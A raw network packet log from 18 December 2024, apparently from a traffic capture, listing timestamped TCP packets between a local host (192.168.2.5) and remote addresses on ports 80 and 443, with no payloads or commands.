Dec 18, 2024 19:08:38.147063971 CET	443	49732	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:38.147130013 CET	49732	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:38.147138119 CET	443	49732	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:38.147819996 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.147835016 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.147901058 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.148065090 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.148081064 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.148092031 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.148104906 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.148125887 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.148156881 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.149028063 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.149045944 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.149063110 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.149075031 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.149108887 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.149136066 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.150103092 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.150125980 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.150137901 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.150160074 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.150171995 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.150187969 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.150240898 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.150882959 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.150909901 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.150922060 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.150934935 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.150948048 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.150989056 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.150989056 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.151815891 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.151833057 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.151869059 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.151880026 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.151890993 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.151906013 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.151931047 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.151953936 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.152661085 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.152689934 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.152703047 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.152714968 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.152725935 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.152734041 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.152760029 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.152803898 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.153580904 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.153595924 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.153652906 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.153657913 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.153698921 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.153815985 CET	443	49731	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:38.153898954 CET	443	49731	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:38.153942108 CET	49731	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:38.154180050 CET	49731	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:38.154196978 CET	443	49731	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:38.154215097 CET	49731	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:38.154221058 CET	443	49731	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:38.154581070 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.154597998 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.154608011 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.154619932 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.154644966 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.154671907 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.155368090 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.155400991 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.155415058 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.155438900 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.155471087 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.166178942 CET	49733	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:38.166244984 CET	443	49733	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:38.166374922 CET	49733	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:38.166846991 CET	49733	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:38.166879892 CET	443	49733	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:38.260884047 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.260905981 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.261084080 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.262434006 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.262507915 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.262507915 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.262559891 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.265608072 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.265701056 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.265882969 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.265944004 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.269186974 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.269273996 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.269308090 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.269356012 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.272783995 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.272845030 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.272968054 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.273015022 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.276345968 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.276429892 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.276508093 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.276561975 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.279367924 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.279424906 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.279450893 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.279473066 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.282241106 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.282322884 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.282500982 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.282552958 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.285252094 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.285310030 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.285314083 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.285356998 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.288053989 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.288120031 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.288122892 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.288172007 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.291230917 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.291274071 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.291317940 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.291344881 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.294543028 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.294609070 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.294650078 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.294811010 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.297672987 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.297730923 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.297806978 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.297856092 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.300810099 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.300879002 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.300919056 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.300962925 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.304014921 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.304090977 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.304109097 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.304148912 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.307224989 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.307292938 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.307320118 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.307336092 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.310710907 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.310796022 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.310821056 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.310870886 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.381047010 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.381076097 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.381125927 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.381139994 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.382390022 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.382438898 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.382520914 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.382566929 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.385541916 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.385617018 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.385626078 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.385660887 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.388719082 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.388767004 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.388855934 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.388897896 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.392052889 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.392122984 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.392185926 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.392231941 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.394129992 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.394191980 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.394232035 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.394270897 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.396390915 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.396440029 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.396478891 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.396522999 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.398660898 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.398766994 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.398770094 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.398809910 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.400957108 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.401016951 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.401093006 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.401134968 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.403505087 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.403848886 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.404248953 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.404308081 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.405915976 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.405958891 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.405968904 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.406013012 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.407938957 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.407999039 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.408128977 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.408169031 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.410125017 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.410171032 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.410259962 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.410310984 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.412414074 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.412467003 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.412499905 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.412543058 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.415368080 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.415462971 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.415471077 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.415524960 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.417371988 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.417438030 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.417457104 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.417524099 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.419380903 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.419430971 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.419461966 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.419514894 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.421608925 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.421675920 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.421680927 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.421725988 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.423882961 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.423949003 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.424038887 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.424087048 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.426218033 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.426285028 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.426378012 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.426429033 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.428417921 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.428479910 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.428517103 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.428560019 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.430747986 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.430819035 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.430885077 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.430937052 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.434025049 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.434046030 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.434077978 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.434109926 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.436244011 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.436294079 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.436321020 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.436362028 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.438141108 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.438209057 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.438230038 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.438275099 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.440095901 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.440145016 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.440165997 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.440217018 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.442187071 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.442240953 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.442359924 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.442413092 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.445979118 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.446053982 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.446263075 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.446310997 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.446728945 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.446777105 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.446839094 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.446881056 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.449013948 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.449091911 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.449120045 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.449171066 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.451387882 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.451457024 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.451519012 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.451569080 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.453608990 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.453676939 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.453739882 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.453792095 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.455899954 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.455961943 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.455988884 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.456037045 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.458201885 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.458261013 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.458287954 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.458333015 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.460484982 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.460551977 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.460614920 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.460659027 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.462753057 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.462811947 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.462841034 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.462896109 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.507616043 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.507718086 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.507755041 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.507788897 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.508347988 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.508424044 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.508544922 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.508620024 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.510332108 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.510420084 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.510442972 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.510488033 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.512672901 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.512739897 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.512759924 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.512814045 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.514779091 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.514832973 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.514888048 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.514934063 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.517154932 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.517225027 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.517262936 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.517308950 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.519431114 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.519481897 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.519553900 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.519602060 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.521747112 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.521817923 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.521825075 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.521867990 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.524317026 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.524386883 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.524405003 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.524457932 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.526731968 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.526796103 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.526808977 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.526848078 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.528677940 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.528738022 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.528772116 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.528819084 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.530884981 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.530965090 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.530998945 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.531054020 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.533265114 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.533334017 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.533420086 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.533502102 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.535403013 CET	80	49730	31.41.244.11	192.168.2.5
